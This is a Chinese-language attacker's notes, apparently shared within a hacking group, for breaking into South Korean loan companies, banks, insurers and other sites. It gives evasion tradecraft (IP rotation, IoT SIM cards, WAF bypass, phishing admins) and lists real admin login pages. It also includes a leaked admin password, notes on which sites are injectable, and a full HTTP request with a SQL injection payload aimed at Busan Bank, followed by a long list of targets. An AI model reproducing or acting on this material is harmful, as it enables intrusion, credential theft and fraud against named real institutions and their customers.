韩国站一般不要用xray 破坏性太大了 而且检测机制不同 xray典型的内狠 用Nessus 比较友好 实在不行awvs 但是13.14版本 误报属实比较多 IP最好用动态IP 随机切换保护好自己 本地最好物联卡 服务器操作 • 扫描目录的话 基本与国内相同 多看旁站 因为咱们做的WD 还是有难度 比较难搞的 • XS特别多 但是别浪费时间 基本没啥用 • 有这时间 去搞 社工 给管理发邮件 • 或者自己生成信息字典 一般都是域名 加数字 居多 看运气了 • 打C段 搞网关基本放弃 没那么多时间浪费啊 有着精神头 不如我们青瓦台见了 • 基本就是 过waf 过waf 过waf 下面是我整理的一些站点信息 基本都有下手的 看你们了
• https://bankplus-loan.com/wp-login.php
• https://thespeed-loan.com/wp-login.php
• https://sunshine-kloan.com/wp-login.php
• http://prime-sunshine.co.kr/wp-login.php
• http://primesupport.co.kr/wp-login.php
• http://plussunshine.co.kr/wp-login.php
• http://pluscapital.co.kr/wp-login.php
• http://victorysong.cafe24.com/moneyhero/wp-login.php
• http://hopeloan.info/wp-login.php 用户名 hopeloan
• http://www.kin-ct.co.kr/admin/sub_login/login_form.htm
• http://www.peoplemoney.co.kr/bbs/login.php
• http://www.xn--hy1bs0e23a602a9rbg5u.com/bbs/login.php
• http://bankguide.co.kr/manager/html
• http://koreafinance.net/bbs/login.php 以前的账号密码 admin member | tktktk123 有myadmin数据库登录口
• http://www.urimoney.co.kr/admin/login/index.php
• http://admin366.365helploan.com/member-login 有注入 是F不是T 账号密码加盐
• https://www.cielloan.co.kr/master/login.php
• ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
• https://www.busanbank.co.kr/ 银行贷款主页面 有waf 有 sql注入
• https://ebank.busanbank.co.kr/ 贷款申请页面
韩国某贷款注入包：
• POST /ib20/mnu/BHPBSE005003001 HTTP/1.1
• Referer: https://www.google.com/search?hl=en&q=testing
• User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
• Cookie: xm_webid_1=-1175259180;JSESSIONID=jeQFdqxO9E50Pax9IlXOqD1JDEPwc1hpRIhY6kiCNRtEjPQOppVeub7y7bAUtF1Z.UE5JQldTL3BpYmJocDEx;netfunnel.busanbank.co.kr=-1%20OR%20321=6%20AND%20000210=000210%20--%20;PCID=16281568439598992868985;BSIB_MAIN_FAST_MENU_RESET=Y;IB20SESSID=BHP0101||jeQFdqxO9E50Pax9IlXOqD1JDEPwc1hpRIhY6kiCNRtEjPQOppVeub7y7bAUtF1Z.UE5JQldTL3BpYmJocDEx;BSIB_MAIN_FAST_MENU=02%3A%uC989%uC2DC%uC774%uCCB4%3APEB%3APEBTRN001000000%3B03%3A%uBE60%uB978%uC774%uCCB4%3APEB%3APEBTRN008000000%3B04%3A%uC804%uACC4%uC88C%uC870%uD68C%3APEB%3APEBINQ001000000%3B05%3A%uAC70%uB798%uB0B4%uC5ED%uC870%uD68C%3APEB%3APEBINQ002000000%3B06%3A%uC99D%uBA85%uC11C%uC870%uD68C%3APEB%3ACMNCMN005001000%3B07%3A%uC804%uC790%uBBFC%uC6D0/%uC18C%uBE44%uC790%uD3EC%uD138%3ABHP%3ABHPCSC311000001%3B08%3A%uACF5%uB3D9%uC778%uC99D%uC13C%uD130%3APEB%3APEBCMC9720000%3B09%3A%uC790%uB3D9%uC774%uCCB4%3APEB%3APEBTRN005001000%3B10%3A%uB300%uB7C9%uC774%uCCB4%3APEB%3APEBTRN004002000%3B11%3A%uC608%uC57D%uC774%uCCB4%3APEB%3APEBTRN002001001;BSIB_MAIN_FAST_MENU=02%3A%uC989%uC2DC%uC774%uCCB4%3APEB%3APEBTRN001000000%3B03%3A%uBE60%uB978%uC774%uCCB4%3APEB%3APEBTRN008000000%3B04%3A%uC804%uACC4%uC88C%uC870%uD68C%3APEB%3APEBINQ001000000%3B05%3A%uAC70%uB798%uB0B4%uC5ED%uC870%uD68C%3APEB%3APEBINQ002000000%3B06%3A%uC99D%uBA85%uC11C%uC870%uD68C%3APEB%3ACMNCMN005001000%3B07%3A%uC804%uC790%uBBFC%uC6D0/%uC18C%uBE44%uC790%uD3EC%uD138%3ABHP%3ABHPCSC311000001%3B08%3A%uACF5%uB3D9%uC778%uC99D%uC13C%uD130%3APEB%3APEBCMC9720000%3B09%3A%uC790%uB3D9%uC774%uCCB4%3APEB%3APEBTRN005001000%3B10%3A%uB300%uB7C9%uC774%uCCB4%3APEB%3APEBTRN004002000%3B11%3A%uC608%uC57D%uC774%uCCB4%3APEB%3APEBTRN002001001
• X-Requested-With: XMLHttpRequest
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
• Accept-Encoding: gzip,deflate
• Content-Length: 0
• Host: www.busanbank.co.kr
• Connection: Keep-alive
• https://www.choeunbank.com/ 银行 主页sql Referer注入 • 没找到前端贷款申请页面 可能在别的服务器上 搞这个拿到内网最好的 不知道是不是DBA 可以尝试 后台也不清楚啊
• http://www.healing-money.co.kr/ 贷款公司 可以尝试爆破 有后台 自己找 • 主页 User-Agent 可以注入 不确定？？？？？？ • 同服务器有很多站 好几个 典型的运营公司 相对来说好做
http://sanhwa-money.co.kr/ 注入 有旁站
• standardchartered.co.kr • sbiapt.com 这俩都是银行了 情况跟上面差不多 看看能不能翻出东西
• jlotto.co.kr ggsloanrsvt.ggwf.or.kr 两个小垃圾 好像有waf 顺便去拿下
• https://www.oknc.kr/ 重头戏 特大目标 啥也不想说对这个站
• 你们自己看吧
• 综上所属都是有下手点的
• &&&&&&&&
• 此文本价值100W
• https://www.niceabc.co.kr/
• https://hi.kmong.com/
• https://olymptrade.com/
• https://8percent.kr/
• https://loan.lendit.co.kr/
• https://www.peoplefund.co.kr/
• https://www.hyundaicapital.com/
• https://www.finda.co.kr/
• https://119-money.kr/
• http://ademotion.co.kr/
• http://jlloan-bank.co.kr/
• https://www.rushncash.com/
• http://direct-application.shop/
• https://hi.kmong.com/
• https://koreafinancecenter.com/
• https://impactloan.co.kr/
• http://care.lifecredit.co.kr/
• http://www.sbisb.co.kr/
• https://wannaloan.quv.kr/
• http://cross-shine.shop/
• http://www.peoplemoney.co.kr/
• https://www.1st-sms.co.kr/
• http://giftloan.co.kr/
• https://www.daily-funding.com/
• https://www.bankmap.co.kr/
• https://www.lawandgood.com/
• http://www.daeryunlaw.com/
• https://cpaheaven.co.kr/
• https://jhlaw72.com/
• http://www.calla-law.com/
• https://altongp2p.com/
• https://www.together.co.kr/
• http://bestcareloan.com/
• http://www.e-stock.biz/
• http://bank-loan.shop/
• http://www.kketnypdaklanding.com/
• https://www.lotteinsumall.com/
• https://direct.samsungfire.com/
• https://www.aiadirect.co.kr/
• https://www.abllife.co.kr/
• https://e-insmarket.or.kr/
• https://dbinsu.kr/
• https://www.lifeplanet.co.kr/
• https://direct.hi.co.kr/
• https://store.meritzfire.com/
• https://www.onsure.co.kr/
• https://www.directdb.co.kr/
• https://directidb.co.kr/
• http://good-lawfirm.co.kr/
• http://bohuminmoon.kr/
• http://xn---7-b71jykw6vn6pusb74sv5g.com/
• http://xn--iq1bq5yy7d0ra.kr/
• https://athena-system.com/
• https://www.aiasset.net/
• http://newstonight.co.kr/
• https://www.iddental.co.kr/
• https://cleansmile.co.kr/
• http://www.mdsoodent.com/
• https://www.topfund.kr/
• https://www.barunfund.com/
• http://www.urimoney.co.kr/
• https://www.replyalba.co.kr/
• https://www.gov.kr/
• http://dbdbdeep.com/
• https://teacherbox.co.kr/
• https://www.skyon.kr/
• https://www.albarich.com/
• https://bfsbiz.com/
• https://car-one.co.kr/
• http://a1auto.kr/